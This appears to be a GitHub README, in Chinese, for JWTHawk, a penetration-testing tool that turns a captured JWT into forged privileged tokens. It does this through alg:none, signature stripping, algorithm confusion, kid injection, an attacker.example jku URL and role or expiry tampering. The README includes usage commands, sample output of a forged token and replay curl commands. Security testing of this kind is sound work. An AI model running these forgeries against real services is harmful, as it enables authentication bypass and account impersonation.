daniyalnasir-root/JWTHawk
GitHub: daniyalnasir-root/JWTHawk
一款从捕获的 JWT 中生成特权变体并自动化验证的轻量级渗透工具。
Stars: 0 | Forks: 0
# JWTHawk:从捕获的令牌中生成特权 JWT 变体
你从 Burp 捕获了一个 JWT。接下来的六十秒应该这样利用:尝试八种已知的签名绕过和身份伪造攻击,针对签发服务,粘贴一条 curl 命令,观察返回 `200 admin` 以证明绕过成功。`JWTHawk` 对捕获的令牌执行八种攻击,打印每次攻击的差异以便你精确看到哪些字段被修改,并输出可直接复制粘贴的 curl 命令,包含你捕获的请求格式和伪造后的令牌。
[](https://www.python.org/)
[](LICENSE)
[](#)
## 概述
JWT 漏洞通常集中在三种失败模式:验证在 `alg: none` 或空签名时被跳过;验证信任了攻击者控制的签名密钥(`kid` 查找、`jku` URL、RS 到 HS 的混淆);或者一旦上述任一条件成立,载荷可被任意修改。这些攻击是机械重复的,价值在于快速粘贴并观察响应。
`JWTHawk` 读取捕获的令牌,一次性运行八种攻击,并以统一差异形式展示每一次:红色 `-` 表示原始头部/载荷字段,绿色 `+` 表示修改内容。差异下方是新生成的令牌;当你提供 `--target-curl 'curl ... {TOKEN}'` 时,还会输出替换后的 curl 命令。三种攻击(算法混淆、`kid` SQL 注入、`kid` 路径遍历)使用 HMAC 重新签名;两种(`alg:none`、空签名)仅截断签名;一种(`jku` 注入)打印占位符,由你使用自己的 RSA 密钥完成。
## 功能特性
- 每次运行执行八种攻击:`alg:none`、`empty-sig`、`RS256→HS256` 混淆、`kid` SQL 注入、`kid` 路径遍历、`jku` URL 注入、角色提升、`exp` 扩展
- 差异风格输出(每字段变更以 `-`/`+` 标记),确保修改细节一目了然
- `--target-curl` 模板中 `{TOKEN}` 占位符会在每次攻击中替换为伪造令牌,并按你捕获的请求格式输出
- `--pubkey` 将算法混淆攻击从占位符切换为对 RSA 公钥字节字面量执行真实 HMAC(典型外科手术式攻击)
- 仅使用标准库:`base64`、`hmac`、`hashlib`、`json`。不依赖 PyJWT 或 `cryptography`
## 安装
```
git clone https://github.com/daniyalnasir-root/JWTHawk.git
cd JWTHawk
python3 jwthawk.py -h
```
无需 `pip install`。
## 用法
```
# 捕获的令牌,捕获的 curl 形状 —— 一次八次攻击
python3 jwthawk.py \
--token "eyJhbGciOiJIUzI1NiIs..." \
--target-curl "curl -H 'Authorization: Bearer {TOKEN}' https://api.example.com/me"
# 真实的 RS256 令牌 + 发行服务的公钥用于外科 alg-confusion 铸币
python3 jwthawk.py \
--token "$(cat captured.jwt)" \
--pubkey ./issuer-pub.pem \
--target-curl @./api-me.curl
# 自定义攻击者 JWKS 主机用于 jku-injection 铸币
python3 jwthawk.py \
--token "$(cat captured.jwt)" \
--jku-url "https://attacker.example/.well-known/jwks.json"
```
## 命令行选项
| 标志 | 是否必需 | 描述 |
|------|----------|------|
| `--token` | 是 | 捕获的 JWT(header.payload.signature) |
| `--target-curl` | 否 | 包含 `{TOKEN}` 占位符的 curl 模板;工具会为每次攻击输出替换后的变体 |
| `--pubkey` | 否 | RSA 公钥 PEM 文件;对算法混淆攻击执行真实 HMAC(典型外科手术场景)所需 |
| `--jku-url` | 否 | jku 注入攻击中使用的攻击者可控 JWKS URL(默认 `https://attacker.example/.well-known/jwks.json`) |
## 输出示例
```
$ python3 jwthawk.py --token eyJhbGciOi... \
--target-curl "curl -H 'Authorization: Bearer {TOKEN}' https://api.example.com/me"
JWTHawk 158-byte token, HS256 baseline
baseline header {"alg": "HS256", "typ": "JWT", "kid": "k1"}
baseline payload {"sub": "alice", "role": "user", "exp": 1900000000}
signature 32 bytes (64281EDA4ACE1ECD...)
attack: alg:none
why: server treats `none` as a valid algorithm and skips signature verification
--- header (original)
+++ header (mutated)
- alg: "HS256"
+ alg: "none"
kid: "k1"
typ: "JWT"
note: signature stripped to empty string
token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIiwia2lkIjoiazEifQ.eyJzdWIiOiJhbGl...
curl: curl -H 'Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldU...' https://api.example.com/me
```
两次完整八种攻击的输出结果位于 [`examples/`](examples/)。
## 法律声明
本工具仅限授权安全测试与教育用途。
请仅针对你拥有或获得明确书面许可的系统运行。
作者不承担任何误用责任。未经授权的使用可能违反
当地、州或联邦法律。
## 作者
**Daniyal Nasir** 是一名高级 **渗透测试员**、**VAPT 顾问** 和 **网络安全专家**,拥有 10 多年专注于 **Web 应用渗透测试**、**API 安全评估**、**JWT 与 OAuth 安全**、**身份绕过研究** 以及 **漏洞赏金挖掘** 的经验,服务覆盖 **中东、亚洲、欧洲和美洲**。因 **负责任的漏洞披露** 和 **应用进攻性安全研究** 获得多家领先科技公司认可。认证包括:**OSCP**、**LPT**、**CPENT**、**CEH**、**CISA**、**CISM**、**CASP+**。
- LinkedIn: https://www.linkedin.com/in/daniyalnasir
- 网站: https://www.daniyalnasir.com
## 许可证
MIT,详见 [LICENSE](LICENSE)。
标签:API安全, Burp Suite, CISA项目, HTTP请求重放, jku注入, JSON Web Token, JSON输出, JWT, Modbus, OAuth, Python安全工具, RS256 HS256混淆, StruQ, TGT, Token劫持, 令牌伪造, 安全测试, 密钥kid注入, 攻击性安全, 攻防演练, 无签名攻击, 空签名攻击, 签名绕过, 算法混淆, 角色提升, 认证绕过, 路径遍历, 身份冒充, 过期时间exp篡改, 逆向工具